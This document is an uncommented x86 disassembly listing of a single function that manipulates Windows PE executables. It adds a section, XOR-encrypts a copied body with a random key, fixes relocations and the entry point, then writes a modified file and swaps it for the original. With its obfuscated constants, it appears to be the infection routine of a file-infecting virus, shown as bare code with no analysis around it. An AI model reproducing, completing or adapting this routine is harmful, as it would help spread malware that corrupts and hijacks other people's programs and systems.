		cmp	[ebp+var_1174],	0
		jz	loc_42282F
		lea	eax, [ebp+var_31EC7]
		mov	[ebp+var_42C], eax
		mov	eax, [eax+3Ch]
		mov	[ebp+var_84C], eax
		add	eax, [ebp+var_42C]
		mov	[ebp+var_848], eax
		cmp	[ebp+var_1180],	0
		jnz	loc_421AFB
		mov	eax, [ebp+var_8]
		mov	[ebp+var_31F08], eax
		mov	edx, ds:100131ACh
		sub	edx, 5
		cmp	[eax+0D0h], edx
		jz	loc_421AFB
		mov	edx, [eax+0D4h]
		mov	[ebp+var_31F0C], edx
		mov	ecx, ds:1001311Ch
		movsx	edi, word ptr ds:10013218h
		add	ecx, edi
		sub	ecx, 0Ah
		cmp	edx, ecx
		jz	loc_421AFB
		mov	ecx, 28h
		mov	edi, [ebp+var_840]
		add	edi, 0F8h
		mov	eax, ecx
		mov	edx, [ebp+var_31F08]
		movzx	edx, word ptr [edx+6]
		mov	[ebp+var_31F10], edx
		mul	edx
		mov	[ebp+var_31F14], eax
		mov	edx, edi
		add	edx, eax
		mov	[ebp+var_31F1C], edx
		mov	eax, ecx
		mov	[ebp+var_31F18], eax
		mov	ecx, ds:10013138h
		add	ecx, 4
		mul	ecx
		mov	[ebp+var_31F20], eax
		mov	eax, [ebp+var_31F1C]
		mov	edx, [ebp+var_31F20]
		add	eax, edx
		mov	edx, [ebp+var_31F0C]
		add	eax, edx
		mov	edx, [ebp+var_31F08]
		cmp	[edx+54h], eax
		jbe	loc_421AFB
		mov	eax, [ebp+var_840]
		add	eax, 0F8h
		mov	[ebp+var_31F2C], eax
		mov	eax, 28h
		mov	ecx, [ebp+var_8]
		movzx	ecx, word ptr [ecx+6]
		mul	ecx
		mov	[ebp+var_31F30], eax
		mov	eax, [ebp+var_31F2C]
		mov	edx, [ebp+var_31F30]
		add	eax, edx
		mov	[ebp+var_31F24], eax
		mov	[ebp+var_31F34], eax
		mov	eax, 28h
		mov	ecx, [ebp+var_848]
		movzx	ecx, word ptr [ecx+6]
		mov	edi, ds:100131E4h
		add	edi, ds:10013224h
		sub	edi, 7
		sub	ecx, edi
		mul	ecx
		mov	[ebp+var_31F38], eax
		mov	eax, [ebp+var_31F34]
		mov	edx, [ebp+var_31F38]
		add	eax, edx
		mov	[ebp+var_31F28], eax
		mov	eax, [ebp+var_8]
		push	dword ptr [eax+0D4h]
		mov	eax, [ebp+var_4]
		mov	edx, [ebp+var_31F24]
		add	edx, eax
		push	edx
		mov	edx, [ebp+var_31F28]
		add	edx, eax
		push	edx
		call	dword ptr ds:10011638h
		add	esp, 0Ch
		mov	eax, [ebp+var_8]
		add	eax, 0D0h
		mov	[ebp+var_31F3C], eax
		mov	eax, 28h
		mov	ecx, [ebp+var_848]
		movzx	ecx, word ptr [ecx+6]
		mov	edi, ds:10013140h
		sub	edi, 7
		sub	ecx, edi
		mul	ecx
		mov	[ebp+var_31F40], eax
		mov	eax, [ebp+var_31F3C]
		mov	edx, eax
		mov	ecx, [ebp+var_31F40]
		add	[edx], ecx


loc_421AFB:				; CODE XREF: sub_421353+609j
					; sub_421353+627j ...
		mov	eax, [ebp+var_8]
		push	dword ptr [eax+3Ch]
		push	[ebp+var_10]
		call	sub_41D094
		mov	[ebp+var_10], eax
		mov	eax, 28h
		mov	ecx, [ebp+var_8]
		movzx	ecx, word ptr [ecx+6]
		mul	ecx
		mov	[ebp+var_31F24], eax
		mov	eax, [ebp+var_840]
		mov	edx, [ebp+var_4]
		lea	eax, [eax+edx+0F8h]
		mov	edx, [ebp+var_31F24]
		mov	esi, edx
		add	esi, eax
		push	1001381Ch
		call	sub_41C914
		push	eax
		push	esi
		call	dword ptr ds:1000F1F4h
		mov	eax, ds:10013234h
		add	eax, 1FFFCh
		mov	[esi+8], eax
		mov	eax, [ebp+var_20]
		mov	[esi+0Ch], eax
		mov	eax, [ebp+var_8]
		push	dword ptr [eax+3Ch]
		mov	eax, [ebp+arg_8]
		add	eax, 0Dh
		push	eax
		call	sub_41D094
		mov	[esi+10h], eax
		mov	eax, [ebp+var_10]
		mov	[esi+14h], eax
		mov	eax, ds:10013204h
		add	eax, 0C000003Fh
		mov	[esi+24h], eax
		movsx	eax, word ptr ds:10013144h
		mov	edx, ds:10013278h
		lea	eax, [eax+edx+4]
		push	eax
		mov	eax, ds:10013210h
		mov	edx, eax
		add	edx, eax
		mov	eax, edx
		sub	eax, 2
		push	eax
		mov	eax, esi
		add	eax, 18h
		push	eax
		call	dword ptr ds:10011644h
		mov	eax, [ebp+var_20]
		mov	[ebp+var_1060],	eax
		mov	eax, [ebp+var_10]
		mov	[ebp+var_850], eax
		mov	eax, [ebp+var_8]
		push	dword ptr [eax+3Ch]
		mov	eax, [ebp+var_10]
		add	eax, [esi+10h]
		push	eax
		call	sub_41D094
		add	esp, 30h
		mov	[ebp+var_10], eax
		movsx	eax, word ptr ds:10013208h
		add	eax, 1FFFBh
		add	[ebp+var_20], eax
		mov	eax, [ebp+var_8]
		add	eax, 6
		inc	word ptr [eax]
		mov	eax, [ebp+var_8]
		mov	edx, [esi+0Ch]
		add	edx, [esi+8]
		mov	[eax+50h], edx
		call	dword ptr ds:10012BACh
		mov	edi, ds:10013164h
		sub	edi, 3
		mov	ecx, 0FDh
		cdq
		idiv	ecx
		add	edi, edx
		mov	[ebp+var_1064],	edi
		mov	eax, ds:10013248h
		mov	edx, [ebp+var_42C]
		mov	ecx, edi
		xor	ecx, 4Dh
		mov	[edx+eax], cl
		movsx	edi, word ptr ds:10013130h
		movsx	edx, word ptr ds:100130C0h
		add	edi, edx
		sub	edi, 4
		mov	edx, [ebp+var_42C]
		mov	ecx, [ebp+arg_8]
		shr	ecx, 9
		mov	[edx+edi], cl
		call	dword ptr ds:10012BACh
		mov	edi, [ebp+var_84C]
		mov	edx, [ebp+var_42C]
		mov	[ebp+var_31F2C], edx
		mov	[ebp+var_31F28], eax
		mov	ecx, 0FFh
		cdq
		idiv	ecx
		mov	ecx, [ebp+var_31F2C]
		mov	[ecx+edi], dl
		call	dword ptr ds:10012BACh
		movsx	edx, word ptr ds:10013260h
		add	edx, ds:1001321Ch
		sub	edx, 9
		add	edi, edx
		mov	edx, [ebp+var_42C]
		mov	[ebp+var_31F34], edx
		mov	[ebp+var_31F30], eax
		mov	ecx, 0FFh
		cdq
		idiv	ecx
		mov	ecx, [ebp+var_31F34]
		mov	[ecx+edi], dl
		mov	eax, ds:100130B4h
		add	eax, 34h
		movsx	edx, word ptr ds:10013178h
		add	eax, edx
		mov	[ebp+var_43C], eax
		jmp	short loc_421D0E
; ---------------------------------------------------------------------------


loc_421CD9:				; CODE XREF: sub_421353+9C7j
		call	dword ptr ds:10012BACh
		mov	edi, [ebp+var_43C]
		mov	edx, [ebp+var_42C]
		mov	[ebp+var_31F3C], edx
		mov	[ebp+var_31F38], eax
		mov	ecx, 0FFh
		cdq
		idiv	ecx
		mov	ecx, [ebp+var_31F3C]
		mov	[ecx+edi], dl
		inc	[ebp+var_43C]


loc_421D0E:				; CODE XREF: sub_421353+984j
		mov	eax, [ebp+var_84C]
		cmp	[ebp+var_43C], eax
		jb	short loc_421CD9
		cmp	[ebp+var_1180],	0
		jz	short loc_421D9D
		mov	eax, [ebp+var_8]
		mov	edx, [eax+34h]
		add	edx, [eax+28h]
		mov	eax, ds:1001317Ch
		movsx	ecx, word ptr ds:100131FCh
		add	eax, ecx
		sub	eax, 3
		add	edx, eax
		mov	[ebp+var_31F40], edx
		mov	eax, [ebp+var_850]
		add	eax, ds:1001325Ch
		mov	edx, [ebp+var_4]
		mov	eax, [edx+eax]
		mov	[ebp+var_31F44], eax
		movsx	edx, word ptr ds:10013250h
		mov	ecx, ds:100130DCh
		lea	edx, [edx+ecx-5]
		sub	eax, edx
		add	eax, [ebp+var_31F40]
		movsx	edx, word ptr ds:10013100h
		add	edx, ds:100131A8h
		dec	edx
		add	eax, edx
		mov	[ebp+var_31F48], eax
		mov	eax, [ebp+var_8]
		mov	edx, [ebp+var_31F48]
		sub	edx, [eax+34h]
		mov	[eax+28h], edx


loc_421D9D:				; CODE XREF: sub_421353+9D0j
		push	0Dh
		push	100132C0h
		lea	eax, [ebp+var_31ED4]
		push	eax
		call	dword ptr ds:10011638h
		mov	eax, [esi+10h]
		add	eax, 0Dh
		push	eax
		lea	eax, [ebp+var_31ED4]
		push	eax
		mov	eax, [esi+14h]
		add	eax, [ebp+var_4]
		push	eax
		call	dword ptr ds:10011638h
		add	esp, 18h
		mov	eax, [esi+14h]
		add	eax, 0Dh
		mov	[ebp+var_1068],	eax
		movsx	edx, word ptr ds:10013218h
		sub	edx, 3
		add	eax, edx
		mov	[ebp+var_424], eax
		jmp	short loc_421E09
; ---------------------------------------------------------------------------


loc_421DEF:				; CODE XREF: sub_421353+AC5j
		mov	eax, [ebp+var_424]
		add	eax, [ebp+var_4]
		movzx	edx, byte ptr [eax]
		xor	edx, [ebp+var_1064]
		mov	[eax], dl
		inc	[ebp+var_424]


loc_421E09:				; CODE XREF: sub_421353+A9Aj
		mov	eax, [ebp+var_1068]
		add	eax, [ebp+arg_8]
		cmp	[ebp+var_424], eax
		jb	short loc_421DEF
		mov	eax, ds:100131ECh
		sub	eax, 8
		mov	[ebp+var_18], eax
		mov	eax, ds:100131E8h
		dec	eax
		mov	[ebp+var_440], eax
		jmp	loc_422077
; ---------------------------------------------------------------------------


loc_421E36:				; CODE XREF: sub_421353+D34j
		mov	eax, 28h
		mul	[ebp+var_440]
		mov	[ebp+var_31F44], eax
		mov	eax, [ebp+var_84C]
		mov	edx, [ebp+var_42C]
		lea	eax, [eax+edx+0F8h]
		mov	edx, [ebp+var_31F44]
		mov	ebx, edx
		add	ebx, eax
		mov	eax, 28h
		mov	ecx, [ebp+var_8]
		movzx	ecx, word ptr [ecx+6]
		mul	ecx
		mov	[ebp+var_31F48], eax
		mov	eax, [ebp+var_840]
		mov	edx, [ebp+var_4]
		lea	eax, [eax+edx+0F8h]
		mov	edx, [ebp+var_31F48]
		mov	esi, edx
		add	esi, eax
		mov	eax, ds:10013184h
		add	eax, ds:10013094h
		sub	eax, 8
		cmp	byte ptr [ebx+eax], 2Eh
		jnz	short loc_421ECE
		mov	eax, ds:10013228h
		sub	eax, 2
		cmp	byte ptr [ebx+eax], 72h
		jnz	short loc_421ECE
		mov	eax, ds:100131CCh
		dec	eax
		cmp	byte ptr [ebx+eax], 63h
		jnz	short loc_421ECE
		mov	eax, [ebx+14h]
		mov	[ebp+var_1178],	eax
		jmp	loc_422071
; ---------------------------------------------------------------------------


loc_421ECE:				; CODE XREF: sub_421353+B51j
					; sub_421353+B5Fj ...
		mov	eax, ds:100130D4h
		movsx	edx, word ptr ds:100131FCh
		add	eax, edx
		sub	eax, 0Bh
		cmp	byte ptr [ebx+eax], 2Eh
		jnz	short loc_421F26
		movsx	eax, word ptr ds:10013118h
		add	eax, ds:1001317Ch
		sub	eax, 7
		cmp	byte ptr [ebx+eax], 65h
		jnz	short loc_421F26
		mov	eax, ds:100130ACh
		add	eax, ds:1001326Ch
		sub	eax, 5
		cmp	byte ptr [ebx+eax], 61h
		jnz	short loc_421F26
		mov	eax, [ebx+14h]
		mov	[ebp+var_117C],	eax
		mov	eax, [ebx+0Ch]
		mov	[ebp+var_1184],	eax
		jmp	loc_422071
; ---------------------------------------------------------------------------


loc_421F26:				; CODE XREF: sub_421353+B90j
					; sub_421353+BA6j ...
		mov	eax, ds:10013094h
		mov	edx, eax
		sub	edx, 6
		cmp	byte ptr [ebx+edx], 2Eh
		jnz	short loc_421F57
		movsx	edx, word ptr ds:10013218h
		sub	edx, 4
		cmp	byte ptr [ebx+edx], 69h
		jnz	short loc_421F57
		add	eax, ds:10013188h
		dec	eax
		cmp	byte ptr [ebx+eax], 61h
		jz	loc_422071


loc_421F57:				; CODE XREF: sub_421353+BE1j
					; sub_421353+BF1j
		push	ebx
		push	esi
		call	dword ptr ds:1000F1F4h
		mov	eax, [ebx+8]
		mov	[esi+8], eax
		mov	eax, [ebp+var_20]
		mov	[esi+0Ch], eax
		mov	eax, [ebx+10h]
		mov	[esi+10h], eax
		mov	eax, [ebp+var_10]
		mov	[esi+14h], eax
		mov	eax, [ebx+24h]
		mov	[esi+24h], eax
		mov	eax, ds:10013280h
		add	eax, 8
		push	eax
		mov	eax, ds:10013198h
		sub	eax, 2
		push	eax
		mov	eax, esi
		add	eax, 18h
		push	eax
		call	dword ptr ds:10011644h
		mov	edi, [ebp+var_18]
		mov	edx, [ebx+0Ch]
		mov	[ebp+edi*4+var_420], edx
		mov	edx, [ebx+8]
		mov	[ebp+edi*4+var_83C], edx
		mov	edx, [esi+0Ch]
		mov	[ebp+edi*4+var_C4C], edx
		mov	edx, [esi+14h]
		mov	[ebp+edi*4+var_1050], edx
		inc	[ebp+var_18]
		mov	eax, [ebx+10h]
		add	[ebp+var_10], eax
		mov	eax, [ebp+var_10]
		mov	[ebp+var_31F40], eax
		mov	eax, [ebp+var_8]
		push	dword ptr [eax+3Ch]
		push	[ebp+var_10]
		call	sub_41D094
		add	esp, 1Ch
		mov	[ebp+var_10], eax
		mov	eax, ds:100130B8h
		sub	eax, 2
		cmp	byte ptr [ebx+eax], 64h
		jnz	short loc_42201A
		mov	eax, [ebp+var_31F40]
		cmp	[ebp+var_10], eax
		jbe	short loc_42201A
		mov	ecx, [ebp+var_10]
		sub	ecx, eax
		mov	[ebp+var_31F4C], ecx
		mov	eax, ecx
		add	[esi+8], eax
		mov	eax, ecx
		add	[esi+10h], eax


loc_42201A:				; CODE XREF: sub_421353+CA5j
					; sub_421353+CB0j
		movsx	eax, word ptr ds:10013250h
		movsx	edx, word ptr ds:10013180h
		lea	eax, [eax+edx+0FFBh]
		push	eax
		mov	eax, [ebp+var_20]
		add	eax, [ebx+8]
		push	eax
		call	sub_41D094
		mov	[ebp+var_20], eax
		mov	eax, [ebp+var_8]
		add	eax, 6
		inc	word ptr [eax]
		mov	eax, [ebp+var_8]
		mov	edx, [esi+0Ch]
		add	edx, [ebx+8]
		mov	[eax+50h], edx
		push	dword ptr [esi+10h]
		mov	eax, [ebx+14h]
		add	eax, [ebp+var_42C]
		push	eax
		mov	eax, [esi+14h]
		add	eax, [ebp+var_4]
		push	eax
		call	dword ptr ds:10011638h
		add	esp, 14h


loc_422071:				; CODE XREF: sub_421353+B76j
					; sub_421353+BCEj ...
		inc	[ebp+var_440]


loc_422077:				; CODE XREF: sub_421353+ADEj
		mov	eax, [ebp+var_848]
		movzx	eax, word ptr [eax+6]
		cmp	[ebp+var_440], eax
		jb	loc_421E36
		mov	eax, [ebp+var_1178]
		add	eax, [ebp+var_42C]
		mov	[ebp+var_14], eax


loc_42209C:				; CODE XREF: sub_421353+F90j
		mov	eax, ds:10013134h
		movsx	edx, word ptr ds:10013150h
		add	eax, edx
		sub	eax, 10h
		mov	[ebp+var_1C], eax
		jmp	short loc_42210E
; ---------------------------------------------------------------------------


loc_4220B2:				; CODE XREF: sub_421353+DC1j
		mov	edi, [ebp+var_1C]
		mov	edx, [ebp+var_14]
		mov	edx, [edx]
		cmp	[ebp+edi*4+var_420], edx
		jnz	short loc_4220CE
		mov	eax, [ebp+var_14]
		mov	eax, [eax]
		mov	[ebp+var_C50], eax


loc_4220CE:				; CODE XREF: sub_421353+D6Ej
		mov	edi, [ebp+var_1C]
		shl	edi, 2
		mov	edx, [ebp+edi+var_420]
		add	edx, [ebp+edi+var_83C]
		mov	edi, [ebp+var_14]
		cmp	edx, [edi]
		jbe	short loc_42210B
		mov	edi, [ebp+var_1C]
		mov	edi, [ebp+edi*4+var_1050]
		mov	[ebp+var_106C],	edi
		mov	edi, [ebp+var_1C]
		mov	edi, [ebp+edi*4+var_C4C]
		mov	[ebp+var_1054],	edi
		jmp	short loc_422116
; ---------------------------------------------------------------------------


loc_42210B:				; CODE XREF: sub_421353+D94j
		inc	[ebp+var_1C]


loc_42210E:				; CODE XREF: sub_421353+D5Dj
		mov	eax, [ebp+var_18]
		cmp	[ebp+var_1C], eax
		jb	short loc_4220B2


loc_422116:				; CODE XREF: sub_421353+DB6j
		mov	eax, ds:1001315Ch
		add	eax, ds:10013154h
		sub	eax, 10h
		mov	[ebp+var_428], eax
		jmp	loc_4222A9
; ---------------------------------------------------------------------------


loc_42212F:				; CODE XREF: sub_421353+F62j
		mov	eax, [ebp+var_428]
		mov	edx, ds:1001328Ch
		movsx	ecx, word ptr ds:10013264h
		add	edx, ecx
		sub	edx, 7
		add	eax, edx
		add	eax, [ebp+var_14]
		mov	[ebp+var_31F44], eax
		mov	ax, [eax]
		mov	word ptr [ebp+var_31F40], ax
		movzx	eax, word ptr [ebp+var_31F40]
		mov	edx, ds:10013224h
		add	edx, ds:1001318Ch
		sub	edx, 5
		cmp	eax, edx
		jz	loc_4222BB
		movzx	edi, word ptr [ebp+var_31F40]
		movsx	edx, word ptr ds:10013178h
		mov	ecx, ds:100131B0h
		lea	ecx, [edx+ecx+1]
		sar	edi, cl
		mov	word ptr [ebp+var_31F48+2], di
		movzx	edi, word ptr [ebp+var_31F40]
		movsx	ecx, word ptr ds:10013178h
		shl	edi, cl
		mov	word ptr [ebp+var_31F40+2], di
		movzx	edi, word ptr [ebp+var_31F40+2]
		movsx	edx, word ptr ds:100130D8h
		add	edx, ds:1001312Ch
		mov	ecx, edx
		sub	ecx, 6
		sar	edi, cl
		mov	word ptr [ebp+var_31F40+2], di
		movzx	eax, word ptr [ebp+var_31F40+2]
		movsx	edx, word ptr ds:100130B0h
		sub	edx, 7
		cmp	eax, edx
		jnz	short loc_422203
		mov	eax, ds:1001318Ch
		add	eax, ds:100130A0h
		sub	eax, 4
		cmp	[ebp+var_428], eax
		jnz	loc_4222BB


loc_422203:				; CODE XREF: sub_421353+E94j
		mov	eax, [ebp+var_848]
		mov	eax, [eax+34h]
		mov	edx, [ebp+var_14]
		add	eax, [edx]
		movzx	edx, word ptr [ebp+var_31F40+2]
		add	eax, edx
		mov	[ebp+var_31F4C], eax
		mov	eax, [ebp+var_8]
		mov	eax, [eax+34h]
		add	eax, [ebp+var_1054]
		mov	edx, [ebp+var_14]
		add	eax, [edx]
		sub	eax, [ebp+var_C50]
		movzx	edx, word ptr [ebp+var_31F40+2]
		add	eax, edx
		mov	[ebp+var_31F50], eax
		sub	eax, [ebp+var_31F4C]
		mov	[ebp+var_31F54], eax
		movzx	eax, word ptr [ebp+var_31F48+2]
		movsx	edx, word ptr ds:100131F0h
		movsx	ecx, word ptr ds:10013250h
		add	edx, ecx
		dec	edx
		cmp	eax, edx
		jnz	short loc_422299
		mov	eax, [ebp+var_106C]
		mov	edx, [ebp+var_14]
		add	eax, [edx]
		sub	eax, [ebp+var_C50]
		movzx	edx, word ptr [ebp+var_31F40+2]
		add	eax, edx
		add	eax, [ebp+var_4]
		mov	[ebp+var_31F58], eax
		mov	edx, [ebp+var_31F54]
		add	[eax], edx


loc_422299:				; CODE XREF: sub_421353+F19j
		movsx	eax, word ptr ds:10013178h
		sub	eax, 2
		add	[ebp+var_428], eax


loc_4222A9:				; CODE XREF: sub_421353+DD7j
		mov	eax, [ebp+var_14]
		mov	eax, [eax+4]
		cmp	[ebp+var_428], eax
		jb	loc_42212F


loc_4222BB:				; CODE XREF: sub_421353+E21j
					; sub_421353+EAAj
		mov	eax, [ebp+var_14]
		mov	edx, [eax+4]
		add	edx, eax
		mov	[ebp+var_14], edx
		mov	eax, [ebp+var_848]
		mov	eax, [eax+0A4h]
		mov	edx, [ebp+var_1178]
		add	edx, [ebp+var_42C]
		add	eax, edx
		cmp	[ebp+var_14], eax
		jb	loc_42209C
		mov	eax, [ebp+var_8]
		mov	ecx, [eax+28h]
		mov	[ebp+var_1188],	ecx
		mov	edx, [ebp+var_1060]
		mov	[eax+28h], edx
		cmp	[ebp+var_1180],	0
		jnz	short loc_422326
		add	eax, 60h
		mov	edx, [ebp+var_848]
		mov	edx, [edx+60h]
		add	[eax], edx
		mov	eax, [ebp+var_8]
		add	eax, 68h
		mov	edx, [ebp+var_848]
		mov	edx, [edx+68h]
		add	[eax], edx


loc_422326:				; CODE XREF: sub_421353+FB2j
		mov	eax, [ebp+var_8]
		mov	edx, ds:1001309Ch
		add	edx, 4
		movsx	ecx, word ptr ds:10013178h
		add	edx, ecx
		mov	[eax+44h], dx
		mov	edx, ds:100130ECh
		add	edx, ds:100130A8h
		sub	edx, 2
		mov	[eax+1Ah], dl
		mov	edx, ds:100131B8h
		add	edx, ds:10013184h
		sub	edx, 5
		mov	[eax+46h], dx
		mov	eax, [ebp+var_117C]
		add	eax, [ebp+var_42C]
		mov	[ebp+var_31EE0], eax
		mov	eax, [ebp+var_117C]
		mov	edx, [ebp+var_31EE0]
		add	eax, [edx+1Ch]
		sub	eax, [ebp+var_1184]
		mov	[ebp+var_31EE4], eax
		add	eax, [ebp+var_42C]
		mov	[ebp+var_31EE8], eax
		mov	eax, [eax]
		mov	[ebp+var_1058],	eax
		mov	eax, ds:100130DCh
		sub	eax, 3
		mov	[ebp+var_24], eax
		jmp	short loc_4223F3
; ---------------------------------------------------------------------------


loc_4223B2:				; CODE XREF: sub_421353+10A6j
		mov	edi, [ebp+var_24]
		shl	edi, 2
		mov	edx, [ebp+edi+var_420]
		add	edx, [ebp+edi+var_83C]
		cmp	edx, [ebp+var_1058]
		jbe	short loc_4223F0
		mov	edi, [ebp+var_24]
		mov	edi, [ebp+edi*4+var_420]
		mov	[ebp+var_118C],	edi
		mov	edi, [ebp+var_24]
		mov	edi, [ebp+edi*4+var_C4C]
		mov	[ebp+var_1194],	edi
		jmp	short loc_4223FB
; ---------------------------------------------------------------------------


loc_4223F0:				; CODE XREF: sub_421353+1079j
		inc	[ebp+var_24]


loc_4223F3:				; CODE XREF: sub_421353+105Dj
		mov	eax, [ebp+var_18]
		cmp	[ebp+var_24], eax
		jb	short loc_4223B2


loc_4223FB:				; CODE XREF: sub_421353+109Bj
		mov	eax, [ebp+var_8]
		mov	eax, [eax+34h]
		add	eax, [ebp+var_1194]
		add	eax, [ebp+var_1058]
		sub	eax, [ebp+var_118C]
		mov	[ebp+var_1190],	eax
		mov	eax, [ebp+var_848]
		mov	eax, [eax+34h]
		add	eax, [ebp+var_1058]
		mov	[ebp+var_1058],	eax
		mov	eax, [ebp+var_850]
		mov	[ebp+var_C], eax
		jmp	loc_422701
; ---------------------------------------------------------------------------


loc_42243C:				; CODE XREF: sub_421353+13BAj
		mov	eax, [ebp+var_C]
		mov	edx, [ebp+var_4]
		mov	[ebp+var_31F40], edx
		movzx	ecx, byte ptr [edx+eax]
		mov	edi, ds:1001326Ch
		add	edi, 0E0h
		cmp	ecx, edi
		jnz	loc_422594
		mov	ecx, ds:100131E8h
		mov	edi, eax
		add	edi, ecx
		movzx	ecx, byte ptr [edx+edi]
		movsx	edi, word ptr ds:10013170h
		add	edi, ds:100131D0h
		sub	edi, 9
		cmp	ecx, edi
		jnz	loc_422594
		movsx	ecx, word ptr ds:100130B0h
		sub	ecx, 5
		mov	edi, eax
		add	edi, ecx
		movzx	ecx, byte ptr [edx+edi]
		mov	edi, ds:10013090h
		movsx	edx, word ptr ds:10013174h
		add	edi, edx
		mov	edx, edi
		sub	edx, 0Ah
		cmp	ecx, edx
		jnz	loc_422594
		mov	edx, ds:100131E8h
		add	edx, 2
		mov	ecx, eax
		add	ecx, edx
		mov	edx, [ebp+var_31F40]
		movzx	edx, byte ptr [edx+ecx]
		movsx	ecx, word ptr ds:10013264h
		movsx	edi, word ptr ds:10013230h
		add	ecx, edi
		sub	ecx, 0Fh
		cmp	edx, ecx
		jnz	loc_422594
		movsx	edx, word ptr ds:10013100h
		inc	edx
		add	eax, edx
		mov	edx, [ebp+var_31F40]
		movzx	eax, byte ptr [edx+eax]
		movsx	edx, word ptr ds:10013260h
		sub	edx, 2
		cmp	eax, edx
		jnz	loc_422594
		mov	eax, [ebp+var_8]
		mov	eax, [eax+34h]
		add	eax, [ebp+var_1060]
		mov	edx, [ebp+var_C]
		sub	edx, [ebp+var_850]
		add	eax, edx
		mov	[ebp+var_31F44], eax
		mov	eax, [ebp+var_8]
		mov	eax, [eax+34h]
		add	eax, [ebp+var_1188]
		mov	[ebp+var_31F48], eax
		movsx	eax, word ptr ds:10013180h
		add	eax, 0FFFFFFFBh
		sub	eax, [ebp+var_31F44]
		add	eax, [ebp+var_31F48]
		mov	edx, ds:10013274h
		inc	edx
		movsx	ecx, word ptr ds:100130C0h
		add	edx, ecx
		sub	eax, edx
		mov	[ebp+var_31F4C], eax
		movsx	edi, word ptr ds:100130C0h
		movsx	edx, word ptr ds:10013150h
		add	edi, edx
		mov	edx, [ebp+var_C]
		mov	ecx, ds:10013238h
		inc	ecx
		add	ecx, ds:100130C8h
		add	edx, ecx
		add	edx, [ebp+var_4]
		mov	ecx, eax
		mov	[edx+edi*4-28h], ecx


loc_422594:				; CODE XREF: sub_421353+1107j
					; sub_421353+112Dj ...
		mov	eax, [ebp+var_C]
		mov	edx, [ebp+var_4]
		mov	[ebp+var_31F44], edx
		movzx	ecx, byte ptr [edx+eax]
		movsx	edi, word ptr ds:100131E0h
		mov	edx, ds:10013128h
		lea	edx, [edi+edx+0DCh]
		cmp	ecx, edx
		jnz	loc_4226FE
		mov	edx, ds:100130A0h
		sub	edx, 3
		mov	ecx, eax
		add	ecx, edx
		mov	edx, [ebp+var_31F44]
		movzx	edx, byte ptr [edx+ecx]
		movsx	ecx, word ptr ds:1001324Ch
		sub	ecx, 9
		cmp	edx, ecx
		jnz	loc_4226FE
		mov	edx, ds:1001318Ch
		movsx	ecx, word ptr ds:1001322Ch
		add	edx, ecx
		sub	edx, 5
		mov	ecx, eax
		add	ecx, edx
		mov	edx, [ebp+var_31F44]
		movzx	edx, byte ptr [edx+ecx]
		mov	ecx, ds:100131E4h
		movsx	edi, word ptr ds:10013150h
		add	ecx, edi
		sub	ecx, 0Ch
		cmp	edx, ecx
		jnz	loc_4226FE
		mov	edx, ds:10013210h
		movsx	ecx, word ptr ds:10013104h
		add	ecx, edx
		sub	ecx, 6
		mov	edi, eax
		add	edi, ecx
		mov	ecx, [ebp+var_31F44]
		movzx	ecx, byte ptr [ecx+edi]
		mov	edi, ds:1001325Ch
		sub	edi, 8
		cmp	ecx, edi
		jnz	loc_4226FE
		movsx	ecx, word ptr ds:10013250h
		lea	edx, [edx+ecx+2]
		add	eax, edx
		mov	edx, [ebp+var_31F44]
		movzx	eax, byte ptr [edx+eax]
		movsx	edx, word ptr ds:10013264h
		add	edx, ds:1001317Ch
		sub	edx, 0Eh
		cmp	eax, edx
		jnz	short loc_4226FE
		mov	eax, [ebp+var_8]
		mov	eax, [eax+34h]
		add	eax, [ebp+var_1060]
		mov	edx, [ebp+var_C]
		sub	edx, [ebp+var_850]
		add	eax, edx
		mov	[ebp+var_31F48], eax
		mov	eax, [ebp+var_1190]
		mov	[ebp+var_31F4C], eax
		mov	eax, ds:100131ACh
		add	eax, 0FFFFFFFAh
		sub	eax, [ebp+var_31F48]
		add	eax, [ebp+var_31F4C]
		movsx	edx, word ptr ds:10013178h
		add	edx, ds:100130A0h
		sub	edx, 4
		sub	eax, edx
		mov	[ebp+var_31F50], eax
		movsx	edi, word ptr ds:10013150h
		add	edi, ds:1001309Ch
		mov	edx, [ebp+var_C]
		mov	ecx, ds:10013268h
		add	ecx, ds:1001311Ch
		sub	ecx, 8
		add	edx, ecx
		add	edx, [ebp+var_4]
		mov	ecx, eax
		mov	[edx+edi*4-34h], ecx


loc_4226FE:				; CODE XREF: sub_421353+1267j
					; sub_421353+1290j ...
		inc	[ebp+var_C]


loc_422701:				; CODE XREF: sub_421353+10E4j
		mov	eax, [ebp+var_850]
		add	eax, 0Dh
		cmp	[ebp+var_C], eax
		jb	loc_42243C
		push	[ebp+var_1070]
		call	dword ptr ds:10011654h
		push	[ebp+arg_0]
		lea	eax, [ebp+var_116F]
		push	eax
		call	dword ptr ds:1000F1F4h
		add	esp, 8
		lea	ecx, [ebp+var_116F]
		or	eax, 0FFFFFFFFh


loc_42273B:				; CODE XREF: sub_421353+13EDj
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_42273B
		mov	[ebp+var_31ED8], eax
		movsx	edx, word ptr ds:100130A4h
		sub	edx, 3
		sub	eax, edx
		mov	[ebp+eax+var_116F], 69h
		mov	eax, [ebp+var_31ED8]
		mov	edx, ds:1001323Ch
		add	edx, ds:10013154h
		sub	edx, 0Ah
		sub	eax, edx
		mov	[ebp+eax+var_116F], 76h
		mov	eax, [ebp+var_31ED8]
		movsx	edx, word ptr ds:100131FCh
		movsx	ecx, word ptr ds:10013218h
		add	edx, ecx
		sub	edx, 9
		sub	eax, edx
		mov	[ebp+eax+var_116F], 72h
		push	0
		mov	eax, ds:100130D4h
		sub	eax, 6
		push	eax
		push	2
		push	0
		movsx	eax, word ptr ds:100131E0h
		movsx	edx, word ptr ds:100131C0h
		add	eax, edx
		sub	eax, 7
		push	eax
		push	40000000h
		lea	eax, [ebp+var_116F]
		push	eax
		call	dword ptr ds:10012788h
		mov	[ebp+var_1070],	eax
		push	0
		lea	eax, [ebp+var_31EDC]
		push	eax
		push	[ebp+var_10]
		push	[ebp+var_4]
		push	[ebp+var_1070]
		call	dword ptr ds:10012B8Ch
		push	[ebp+var_1070]
		call	dword ptr ds:10011654h
		push	[ebp+var_4]
		call	dword ptr ds:1000F61Ch
		push	0
		push	[ebp+arg_0]
		lea	eax, [ebp+var_116F]
		push	eax
		call	dword ptr ds:10010364h
		lea	eax, [ebp+var_116F]
		push	eax
		call	dword ptr ds:1000D008h
		mov	eax, 1
		jmp	short loc_422846
; ---------------------------------------------------------------------------


loc_42282F:				; CODE XREF: sub_421353+C3j
					; sub_421353+DDj ...
		push	[ebp+var_1070]
